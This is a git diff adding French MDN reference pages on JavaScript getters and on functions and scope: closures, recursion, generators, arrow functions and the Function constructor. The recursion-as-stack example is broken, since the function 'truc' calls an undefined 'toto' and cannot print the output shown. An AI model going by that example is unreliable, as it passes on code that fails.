+<p>Cet exemple est utilisé dans le code de Firefox, notamment dans le code du module XPCOMUtils.jsm qui définit la fonction <code><a href="/fr/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code>.</p>
+
+<h3 id="get_ou_defineProperty"><code>get</code> ou <code>defineProperty</code> ?</h3>
+
+<p>Bien que le mot-clé <code>get</code> et la méthode {{jsxref("Object.defineProperty()")}} aient des résultats similaires, il subsiste une différence lorsqu'on utilise <a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">les classes</a>.</p>
+
+<p>Lorsqu'on utilise <code>get</code>, la propriété sera définie sur le prototype de l'objet. Avec {{jsxref("Object.defineProperty()")}}, la propriété sera définie sur l'instance à laquelle la méthode s'applique.</p>
+
+<pre class="brush: js">class Exemple {
+  get coucou() {
+    return 'monde';
+  }
+}
+
+const obj = new Exemple();
+console.log(obj.coucou);
+// "monde"
+console.log(Object.getOwnPropertyDescriptor(obj, 'coucou'));
+// undefined
+console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'coucou'));
+// { configurable: true, enumerable: false, get: function get coucou() { return 'monde'; }, set: undefined }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Ajout des noms de propriétés calculés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.get")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">set</a></code></li>
+ <li>{{jsxref("Opérateurs/L_opérateur_delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">Définir des accesseurs et mutateurs</a>, un chapitre du Guide JavaScript</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/index.html b/files/fr/web/javascript/reference/fonctions/index.html
new file mode 100644
index 0000000000..db017be99e
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/index.html
@@ -0,0 +1,852 @@
+---
+title: Fonctions et portée des fonctions
+slug: Web/JavaScript/Reference/Fonctions
+tags:
+  - Function
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>De manière générale, une fonction est un « sous-programme » qui peut être appelé par du code extérieur à la fonction (ou du code interne dans le cas d'une récursion). Comme le programme, une fonction est composée d'une suite d'instructions qui forment le <em>corps de la fonction</em>. Il est parfois possible de <em>passer</em> des valeurs à une fonction et une fonction peut éventuellement <em>retourner </em>(ou <em>renvoyer</em>) une valeur.</p>
+
+<p>En JavaScript, les fonctions sont des objets de première classe. Cela signifie qu'elles peuvent être manipulées et échangées, qu'elles peuvent avoir des propriétés et des méthodes, comme tous les autres objets JavaScript. Les fonctions sont des objets {{jsxref("Objets_globaux/Function","Function")}}.</p>
+
+<p>Pour plus d'informations et d'exemples, on pourra également consulter le <a href="/fr/docs/Web/JavaScript/Guide/Fonctions">chapitre du Guide JavaScript sur les fonctions.</a></p>
+
+<h2 id="Description">Description</h2>
+
+<p>Toute fonction JavaScript est en fait un objet <code>Function</code>. Voir la page {{jsxref("Objets_globaux/Function","Function")}} pour des informations sur les propriétés et les méthodes de ces objets.</p>
+
+<p>Afin de renvoyer une valeur, la fonction doit comporter une instruction {{jsxref("Instructions/return","return")}} qui définit la valeur à renvoyer (sauf dans le cas d'un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/constructor">constructeur</a> qui a été appelé avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new")}}). Une fonction qui ne renvoie pas de valeur retourne {{jsxref("undefined")}}.</p>
+
+<p>Les paramètres donnés lors de l'appel d'une fonction sont appelés les <em>arguments</em> de la fonction. Les arguments sont passés <em>par valeur</em> (<em>by value </em>en anglais). Si la fonction modifie la valeur d'un argument, ce changement ne se répercute pas en dehors de la fonction. Il existe cependant les <em>références</em> d'objets qui sont aussi des valeurs mais qui possèdent la particularité suivante : si la fonction modifie les propriété de l'objet de la référence, ce(s) changement(s) seront perceptibles en dehors de la fonction. Prenons l'exemple suivant :</p>
+
+<pre class="brush: js"> /* Déclaration de la fonction 'maFonction' */
+ function maFonction(monObjet)
+ {
+   monObjet.marque = "Toyota";
+ }
+
+ /*
+  * Déclaration de la variable 'mavoiture';
+  * création et initialisation d'un nouvel objet;
+  * assigner une référence à 'mavoiture'
+  */
+ var mavoiture = {
+   marque: "Honda",
+   modele: "Accord",
+   annee: 1998
+ };
+
+ /* Affiche 'Honda' */
+ console.log(mavoiture.marque);
+
+ /* Passer la référence de l'objet à la fonction */
+ maFonction(mavoiture);
+
+ /*
+  * Affiche 'Toyota' pour valeur de la propriété 'marque'
+  * de l'objet. C'est ce que la fonction a changé.
+  */
+ console.log(mavoiture.marque);
+</pre>
+
+<p>Le mot-clé <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this"><code>this</code></a> ne fait pas référence à la fonction en cours d'exécution. Il faut donc faire référence aux objets <code>Function</code> par leurs noms, et ce même au sein du corps de la fonction.</p>
+
+<h2 id="Définir_des_fonctions">Définir des fonctions</h2>
+
+<p>Il y a plusieurs façons de définir des fonctions</p>
+
+<h3 id="Déclarer_une_fonction_linstruction_function">Déclarer une fonction (l'instruction <code>function</code>)</h3>
+
+<p>Il existe une syntaxe spécifique pour la déclaration des fonctions (vous pouvez consulter la page de l'instruction {{jsxref("Instructions/function","function")}} pour plus de détails) :</p>
+
+<pre class="syntaxbox">function <em>nom</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>instructions</em>
+}
+</pre>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction (une fonction pouvant avoir jusqu'à 255 arguments).</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui forment le corps de la fonction.</dd>
+</dl>
+
+<h3 id="Utiliser_une_expression_de_fonction_lexpression_function">Utiliser une expression de fonction (l'expression <code>function</code>)</h3>
+
+<p>L'expression d'une fonction se fait d'une façon similaire à la déclaration (veuillez consulter la page de l'expression {{jsxref("Opérateurs/L_opérateur_function","function")}} pour plus d'informations) :</p>
+
+<pre class="syntaxbox">function [<em>nom</em>]([<em>param</em>] [, <em>param</em>] [..., <em>param</em>]) {
+   <em>instructions</em>
+}
+</pre>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction. Il est facultatif, auquel cas la fonction devient une fonction anonyme.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction.</dd>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui forment le corps de la fonction.</dd>
+</dl>
+
+<p>Voici un exemple d'expression de fonction <strong>anonyme</strong> (il n'y a pas de nom utilisé) :</p>
+
+<pre class="brush: js">var maFonction = function() {
+  /* instructions */
+}</pre>
+
+<p>Il est également possible de fournir un nom lors de la définition afin de créer une expression de fonction <strong>nommée</strong> :</p>
+
+<pre class="brush: js">var maFonction = function fonctionNommée(){
+  /* instructions */
+}
+</pre>
+
+<p>L'un des bénéfices d'utiliser une expression de fonction nommée est que son nom sera utilisé dans la pile d'appel lors qu'on aura une erreur. Avec le nom de la fonction, il sera plus facile de repérer l'origine de l'erreur.</p>
+
+<p>Comme on peut le voir, ces deux derniers exemples ne commencent pas avec le mot-clé <code>function</code>. Les instructions qui déclarent des fonctions mais qui ne commencent pas avec <code>function</code> sont des expressions de fonction.</p>
+
+<p>Lorsque les fonctions sont utilisées une unique fois, on peut utiliser une <a href="/fr/docs/Glossaire/IIFE">« expression de fonction immédiatement invoquée » (ou plus généralement appelée <em>IIFE</em> pour <em>Immediately Invokable Function Expression</em> en anglais)</a>.</p>
+
+<pre class="brush: js">(function() {
+    /* instruction */
+})();</pre>
+
+<p>Les <em>IIFE</em> sont des expressions de fonction appelées dès que la fonction est déclarée.</p>
+
+<h3 id="Utiliser_une_déclaration_de_fonction_génératrice_linstruction_function*">Utiliser une déclaration de fonction génératrice (l'instruction <code>function*</code>)</h3>
+
+<p>Il existe une syntaxe spéciale pour déclarer des générateurs (voir la page sur l'instruction {{jsxref('Instructions/function*', 'function*')}} pour plus de détails) :</p>
+
+<pre class="syntaxbox">function* <em>nom</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>instructions</em>
+}</pre>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui forment le corps de la fonction.</dd>
+</dl>
+
+<h3 id="Utiliser_une_expression_de_générateur_lexpression_function*">Utiliser une expression de générateur (l'expression <code>function*</code>)</h3>
+
+<p>Une expression de générateur est similaire à une déclaration de fonction génératrice et possède presque la même syntaxe (pour plus de détails, consulter la page sur l'expression {{jsxref('Opérateurs/function*', 'function*')}}) :</p>
+
+<pre class="syntaxbox">function* [<em>nom</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>instructions</em>
+}</pre>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction. Ce paramètre peut être omis, auquel cas la fonction sera une fonction anonyme.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction.</dd>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui composent le corps de la fonction.</dd>
+</dl>
+
+<h3 id="Utiliser_une_expression_de_fonction_fléchée_>">Utiliser une expression de fonction fléchée (=&gt;)</h3>
+
+<p>Une expression de fonction fléchée possède une syntaxe plus courte et est liée, de façon lexicale, à sa valeur (voir la page sur les <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">fonctions fléchées</a> pour plus de détails) :</p>
+
+<pre class="syntaxbox">([param[, param]]) =&gt; {
+   instructions
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d'un argument. S'il n'y a pas d'arguments, cela doit être indiqué par <code>()</code>.  S'il y a un seul argument, les parenthèses ne sont pas obligatoires (par exemple :  <code>toto =&gt; 1</code>).</dd>
+ <dt><code>instructions </code>ou<code> expression</code></dt>
+ <dd>S'il y a plusieurs instructions, elles doivent être encadrées par des accolades. Une expression unique ne doit pas obligatoirement être entourée d'accolades. L'expression est également la valeur de retour implicite de la fonction.</dd>
+</dl>
+
+<h3 id="Le_constructeur_Function">Le constructeur <code>Function</code></h3>
+
+<div class="note">
+<p><strong>Note :</strong> L'utilisation du constructeur <code>Function</code> afin de créer des fonction n'est pas recommandée. En effet, il utilise une chaîne pour former le corps de la fonction et cela peut empêcher certaines optimisations du moteur JavaScript ainsi que provoquer d'autres problèmes.</p>
+</div>
+
+<p>Comme tous les autres objets, les objets {{jsxref("Function")}} peuvent être créés grâce à l'opérateur <code>new</code> :</p>
+
+<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>corpsDeLaFonction</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Plusieurs (zéro ou plus) noms qui seront utilisés par la fonction comme noms d'arguments formels. Chaque nom doit être une chaîne de caractères valide au sens d'un identifiant JavaScript ou alors être une liste de telles chaînes séparées par des virgules. On aura les exemples suivants : "<code>x</code>", "<code>laValeur</code>", ou "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>corpsDeLaFonction</code></dt>
+ <dd>Une chaîne de caractères contenant les instructions JavaScript définissant la fonction.</dd>
+</dl>
+
+<p>L'invocation du constructeur <code>Function</code> en tant que fonction (sans utiliser l'opérateur <code>new</code>) a le même effet que son invocation en tant que constructeur.</p>
+
+<h3 id="Le_constructeur_GeneratorFunction">Le constructeur <code>GeneratorFunction</code></h3>
+
+<div class="note">
+<p><strong>Note :</strong> <code>GeneratorFunction</code> n'est pas un objet global mais pourrait être obtenu à partir de l'instance de la fonction génératrice (voir la page {{jsxref("GeneratorFunction")}} pour plus de détails).</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Le constructeur <code>GeneratorFunction</code> ne doit pas être utilisé pour créer des fonctions. En effet, il utilise une chaîne pour former le corps de la fonction et cela peut empêcher certaines optimisations du moteur JavaScript ainsi que provoquer d'autres problèmes.</p>
+</div>
+
+<p>Comme pour tous les autres objets, les objets {{jsxref("GeneratorFunction")}} peuvent être créés grâce à l'opérateur <code>new</code> :</p>
+
+<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>corpsFonction</em>)</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Plusieurs (zéro ou plus) noms qui seront utilisés par la fonction comme noms d'arguments formels. Chaque nom doit être une chaîne de caractères valide au sens d'un identifiant JavaScript ou alors être une liste de telles chaînes séparées par des virgules. On aura les exemples suivants : "<code>x</code>", "<code>theValue</code>", ou "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>corpsFonction</code></dt>
+ <dd>Une chaîne de caractères contenant les instructions JavaScript définissant la fonction.</dd>
+</dl>
+
+<h2 id="Les_paramètres_dune_fonction">Les paramètres d'une fonction</h2>
+
+<h3 id="Les_paramètres_par_défaut">Les paramètres par défaut</h3>
+
+<p>Les paramètres par défaut permettent aux paramètres déclarés d'une fonction de pouvoir être initialisés avec des valeurs par défaut s'ils ne sont pas fournis à la fonction ou s'ils valent <code>undefined</code>. Pour plus de détails, voir la page de la référence sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">les paramètres par défaut</a>.</p>
+
+<h3 id="Les_paramètres_du_reste">Les paramètres du reste</h3>
+
+<p>Cette syntaxe permet de représenter un nombre indéfini d'arguments sous forme d'un tableau. Pour plus de détails, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/param%C3%A8tres_du_reste">les paramètres du reste</a>.</p>
+
+<h2 id="Lobjet_arguments">L'objet <code>arguments</code></h2>
+
+<p>Il est possible de faire référence aux arguments d'une fonction au sein de cette fonction en utilisant l'objet <code>arguments</code>. Consulter la page <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a> pour plus d'informations.</p>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code> : Un objet semblable à un tableau qui contient les arguments passés à la fonction qui est exécutée.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}} : La fonction en cours d'exécution.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : La fonction qui a appelé la fonction courante.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/length">arguments.length</a></code> : Le nombre d'arguments passés à la fonction.</li>
+</ul>
+
+<h2 id="Récursion">Récursion</h2>
+
+<p>Une fonction peut faire référence à elle-même et s'appeler elle-même. Il y a trois façons pour qu'une fonction fasse appel à elle-même :</p>
+
+<ol>
+ <li>le nom de la fonction</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/callee">arguments.callee</a></code></li>
+ <li>une variable interne faisant référence à la fonction</li>
+</ol>
+
+<p>Avec l'exemple suivant :</p>
+
+<pre class="brush: js">var truc = function toto() {
+   // instructions
+};
+</pre>
+
+<p>Ce qui suit sera équivalent au sein de la fonction :</p>
+
+<ol>
+ <li><code>toto()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>truc()</code></li>
+</ol>
+
+<p>Une fonction qui s'appelle elle-même est appelée une fonction récursive. D'une certaine manière, une récursion est semblable à une boucle. Une récursion et une boucle exécutent le même code plusieurs fois et s'appuient sur une condition (afin d'éviter une boucle infinie, ou plutôt une récursion infinie ici). Ainsi la boucle suivante :</p>
+
+<pre class="brush: js">var x = 0;
+// "x &lt; 10" est la condition de la boucle
+while (x &lt; 10) {
+   // faire des choses
+   x++;
+}
+</pre>
+
+<p>peut être convertie en une fonction récursive et un appel à cette fonction :</p>
+
+<pre class="brush: js">function boucle(x) {
+   // "x &gt;= 10" est la condition de sortie
+   // (et équivaut à "!(x &lt; 10)")
+   if (x &gt;= 10)
+      return;
+   // faire des choses
+   boucle(x + 1); // l'appel récursif
+}
+boucle(0);
+</pre>
+
+<p>Cependant, certains algorithmes ne peuvent pas être traduits sous forme de boucles itératives. Ainsi, obtenir tous les nœuds d'un arbre (par exemple le DOM), est beaucoup plus facile à faire de manière récursive.</p>
+
+<pre class="brush: js">function parcoursArbre(noeud) {
+   if (noeud == null) //
+      return;
+   // faire quelque chose avec le noeud
+   for (var i = 0; i &lt; noeud.childNodes.length; i++) {
+      parcoursArbre(noeud.childNodes[i]);
+   }
+}
+</pre>
+
+<p>Par rapport à la fonction <code>boucle</code>, chaque appel récursif enchaîne ici plusieurs appels récursifs successifs.</p>
+
+<p>Il est théoriquement possible de convertir tout algorithme récursif en un algorithme non-récursif. Cependant, la logique du problème est souvent beaucoup plus complexe et l'on doit faire recours à une pile pour le résoudre. Mais la récursion n'est en fait rien d'autre que l'utilisation d'une pile : la pile de la fonction.</p>
+
+<p>La comportement de la récursion en tant que pile peut être observée avec cet exemple :</p>
+
+<pre class="brush: js">function truc(i) {
+   if (i &lt; 0)
+      return;
+   console.log('début :' + i);
+   toto(i - 1);
+   console.log('fin :' + i);
+}
+truc(3);
+</pre>
+
+<p>Elle produira le résultat suivant :</p>
+
+<pre class="brush: js">début :3
+début :2
+début :1
+début :0
+fin :0
+fin :1
+fin :2
+fin :3
+</pre>
+
+<h2 id="Fonctions_imbriquées_et_fermetures">Fonctions imbriquées et fermetures</h2>
+
+<p>Il est possible d'imbriquer une fonction au sein d'une fonction. La fonction imbriquée (interne) est privée par rapport à la fonction (externe) qui la contient. Cela forme ce qu'on appelle une fermeture (<em>closure</em> en anglais).</p>
+
+<dl>
+ <dd>Une fermeture est une expression (généralement une fonction) possédant des variables libres ainsi qu'un environnement qui lie ces variable (autrement dit qui « ferme » l'expression).</dd>
+</dl>
+
+<p>Étant donné qu'une fonction imbriquée est une fermeture, cela signifie que la fonction imbriquée peut « hériter » des arguments et des variables de la fonction qui la contient. En d'autres termes, la fonction interne contient la portée de la fonction externe.</p>
+
+<p>Pour résumer :</p>
+
+<ul>
+ <li>on ne peut accéder à la fonction interne seulement avec des instructions contenues dans la fonction externe,</li>
+</ul>
+
+<ul>
+ <li>la fonction interne est une fermeture : la fonction interne peut utiliser des arguments et des variables de la fonction externe alors que la fonction externe ne peut pas utiliser de variables et d'arguments de la fonction interne.</li>
+</ul>
+
+<p>L'exemple suivant, montre le cas de fonctions imbriquées :</p>
+
+<pre class="brush: js">function ajouteCarres(a,b) {
+   function carre(x) {
+      return x * x;
+   }
+   return carre(a) + carre(b);
+}
+var a = ajouteCarres(2,3); // renvoie 13
+var b = ajouteCarres(3,4); // renvoie 25
+var c = ajouteCarres(4,5); // renvoie 41
+</pre>
+
+<p>Étant donné que la fonction interne est une fermeture, il est possible d'appeler la fonction externe et de définir des arguments pour la fonction externe mais aussi pour la fonction interne :</p>
+
+<pre class="brush: js">function externe(x) {
+   function interne(y) {
+      return x + y;
+   }
+   return interne;
+}
+var fn_interne = externe(3);
+var resultat = fn_interne(5); // renvoie 8
+
+var resultat1 = externe(3)(5); // renvoie 8
+</pre>
+
+<h3 id="Conservation_des_variables">Conservation des variables</h3>
+
+<p>On voit alors que <code>x</code> est conservé lorsqu'<code>interne</code> est renvoyé. Une fermeture doit conserver les arguments et les variables au sein de toutes les portées auxquelles elle fait référence. Étant donné qu'éventuellement, chaque appel fournira des arguments différents, une nouvelle fermeture est créée pour chaque appel externe. La mémoire peut donc être libérée seulement lorsque <code>inside</code> n'est plus accessible.</p>
+
+<p>Cela n'est pas différent du stockage de références avec d'autres objets, mais ça reste plus délicat à observer puisqu'on ne peut inspecter ou définir soi-même les références en question.</p>
+
+<h3 id="Imbrication_multiple_de_fonctions">Imbrication multiple de fonctions</h3>
+
+<p>On peut imbriquer plusieurs fonctions : une fonction (A) contien une fonction (B) qui contient une fonction (C). Ici les fonctions B et C forment des fermetures et aisni B peut accéder à A et C peut accéder à B. On peut donc en déduire, puisque C accède à B qui accède à A que C peut accéder à A. On voit donc que les fermetures peuvent contenir différentes portées. Elles peuvent, récursivement, contenir la portée des fonctions qui la contiennent. Ce mécanisme est appelé « chaînage de portée »  (<em>scope chaining</em> en anglais). (Cette dénomination sera expliquée par la suite.)</p>
+
+<p>On peut l'observer avec l'exemple suivant :</p>
+
+<pre class="brush: js">function A(x) {
+   function B(y) {
+      function C(z) {
+         console.log(x + y + z);
+      }
+      C(3);
+   }
+   B(2);
+}
+A(1); // crée un message d'alerte avec 6 (= 1 + 2 + 3)
+</pre>
+
+<p>Dans cet exemple, C accède à la variable y de B et à la variable x de A. Cela est possible parce que :</p>
+
+<ol>
+ <li><code>B</code> est une fermeture qui contient <code>A</code>, autrement dit <code>B</code> peut accéder aux arguments et aux variables de <code>A</code></li>
+ <li><code>C</code> est une fermeture qui contient <code>B</code></li>
+ <li>Étant donné que la fermeture de <code>B</code> contient <code>A</code> et que celle de <code>C</code> contient <code>B</code>, <code>C</code> peut accéder à la fois aux arguments et variables de <code>B</code> <em>et</em> <code>A</code>. Autrement dit, <code>C</code> <em>enchaîne les portées de </em> <code>B</code> et <code>A</code> dans cet ordre.</li>
+</ol>
+
+<p>La réciproque n'est pas vraie. <code>A</code> ne peut avoir accès à <code>C</code>, parce que <code>A</code> ne peut accéder ni aux variables ni aux arguments de <code>B</code>, or <code>C</code> est une variable de <code>B. C</code> est donc privé et seulement pour <code>B</code>.</p>
+
+<h3 id="Conflits_de_noms">Conflits de noms</h3>
+
+<p>Lorsque deux arguments ou variables appartenant aux portées d'une fermeture ont le même nom, il y a un <em>conflit de noms</em>. La portée la plus interne l'emportera par rapport à la portée la plus externe. C'est ce qu'on appelle la chaîne de portée (<em>scope chain</em> en anglais). Le premier maillon de cette chaîne est la portée la plus interne tandis que le dernier maillon est représenté par la portée la plus externe. Regardons l'exemple suivant :</p>
+
+<pre class="brush: js">function externe() {
+   var x = 10;
+   function interne(x) {
+      return x;
+   }
+   return interne;
+}
+resultat = externe()(20); // renvoie 20 et non pas 10
+</pre>
+
+<p>Le conflit de nom apparaît avec l'instruction <code>return x</code> et vient de la dénomination commune de l'argument <code>x </code>de la fonction<code> interne</code> et la variable <code>x </code>de la fonction <code>externe</code>. La chaîne de portée est, pour cet exemple : {<code>interne</code>, <code>externe</code>, objet globalt}. On voit alors que le  <code>x</code> de la fonction interne l'emporte sur le <code>x </code>de la fonction externe. 20 (<code>x</code> de la fonction <code>interne</code>) est donc renvoyé plutôt que 10 (<code>x</code> de la fonction <code>externe</code>).</p>
+
+<h2 id="Définition_des_méthodes">Définition des méthodes</h2>
+
+<h3 id="Les_accesseurs_et_mutateurs_getter_et_setter">Les accesseurs et mutateurs (<em>getter</em> et <em>setter</em>)</h3>
+
+<p>Il est possible de définir des méthodes qui sont accesseurs ou des mutateurs sur n'importe quel objet qui peut avoir de nouvelles propriétés. La syntaxe utilisée pour définir les <em>getters</em> et <em>setters</em> est celle utilisée avec les littéraux objets.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/get">get</a></dt>
+ <dd>
+ <p>Permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on accèdera à la propriété.</p>
+ </dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">set</a></dt>
+ <dd>Permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on tentera de modifier cette propriété.</dd>
+</dl>
+
+<h3 id="Syntaxe_des_définitions_de_méthode_ECMAScript_2015">Syntaxe des définitions de méthode ECMAScript <strong>2015</strong></h3>
+
+<p>Avec ECMAScript 2015, il est possible de définir des méthodes de façon plus concise (à la façon de ce qui est déjà possible pour les getters et setters). Voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">les définitions de méthodes</a> pour plus d'informations.</p>
+
+<pre class="brush: js">var obj = {
+  toto() {},
+  truc() {}
+};</pre>
+
+<h2 id="Constructeur_déclaration_expression">Constructeur, déclaration, expression ?</h2>
+
+<p>Comparons les exemples suivants :</p>
+
+<ol>
+ <li>une fonction définie grâce au constructeur <code>Function</code> assignée à la variable <code>multiplier</code>
+
+  <pre class="brush: js">var multiplier = new Function("x", "y", "return x * y;");
+</pre>
+ </li>
+ <li>une déclaration de fonction d'une fonction appelée <code>multiplier</code>
+  <pre class="brush: js">function multiplier(x, y) {
+   return x * y;
+}
+</pre>
+ </li>
+ <li>une expression de fonction d'une fonction anonyme assignée à la variable <code>multiplier</code>
+  <pre class="brush: js">var multiplier = function(x, y) {
+   return x * y;
+};
+</pre>
+ </li>
+ <li>une expression de fonction d'une fonction nommée <code>fonction_nom</code> assignée à la variable <code>multiplier</code>
+  <pre class="brush: js">var multiplier = function function_nom(x, y) {
+   return x * y;
+};
+</pre>
+ </li>
+</ol>
+
+<p>Tous ces exemples effectuent à peu près la même chose, mais différent sur quelques points :</p>
+
+<ul>
+ <li>Il y a une distinction entre le nom de la fonction et la variable à laquelle elle est affectée :
+  <ul>
+   <li>le nom de la fonction ne peut être changé alors que la variable à laquelle la fonction a été assignée peut être réassignée.</li>
+   <li>le nom de la fonction ne peut-être utilisé qu'à l'intérieur du corps de la fonction. Toute tentative d'utilisation en dehors du corps de la fonction entraînera une erreur (ou <code>undefined</code> si le nom de la fonction a été déclaré auparavant avec une instruction <code>var</code>). Ainsi :
+    <pre class="brush: js">var y = function x() {};
+console.log(x); // renvoie une erreur
+</pre>
+
+    <p>Le nom de la fonction apparaît également lorsque la fonction est sérialisée avec la <a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Objets_globaux/Function/toString">méthode toString de l'objet <code>Function</code></a>.</p>
+
+    <p>La variable à laquelle est assignée la fonction est seulement limitée par rapport à la portée. La portée au sein de laquelle la fonction est déclarée est donc garantie d'être dans la portée de la variable.</p>
+   </li>
+   <li>Comme le montre le quatrième exemple, le nom de la fonction peut être différent du nom de la variable à laquelle a été assignée la fonction. Les deux noms n'ont aucune relation entre eux.</li>
+  </ul>
+ </li>
+ <li>Une déclaration de fonction peut aussi créer une variable avec le même nom que la fonction. Ainsi, contrairement une expression de fonction, une déclaration de fonction permet d'accéder à la fonction grâce à son nom au sein de la portée dans laquelle elle a été définie :
+  <pre class="brush: js">function x() {}
+console.log(x); // affichera la fonction x sérialisée en une chaîne de caractères
+</pre>
+
+  <p>L'exemple qui suit montre que les noms de fonctions ne sont par liées aux variables auxquelles sont assignées les fonctions. Si une variable de fonction est assignée à une autre valeur, elle aura toujours le même nom de fonction :</p>
+
+  <pre class="brush: js">function toto() {}
+console.log(toto); // message affichant la chaine de caractères "toto"
+var truc = toto;
+console.log(truc); // message affichant la chaine de caractères "toto"
+</pre>
+ </li>
+ <li>Une fonction définie grâce à « <code>new Function »</code> n'aura pas de nom de fonction. Cependant, le moteur JavaScript <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, la forme sérialisée de la fonction apparaît comme si la fonction avait le nom « anonymous ». Le code <code>console.log(new Function())</code> produira :
+  <pre class="brush: js">function anonymous() {
+}
+</pre>
+
+  <p>La fonction n'ayant pas de nom effectif, <code>anonymous</code> n'est pas une variable à laquelle on pourra accéder au sein de la fonction. Par exemple, le code qui suit produira une erreur :</p>
+
+  <pre class="brush: js">var toto = new Function("console.log(anonymous);");
+toto();
+</pre>
+ </li>
+ <li>À la différence des fonctions définies par les expressions de fonction ou par le constructeur <code>Function</code>, une fonction définie par une déclaration de fonction pourra être utilisée avant la déclaration. Ainsi :
+  <pre class="brush: js">toto(); // affichera TOTO !
+function toto() {
+   console.log('TOTO !');
+}
+</pre>
+ </li>
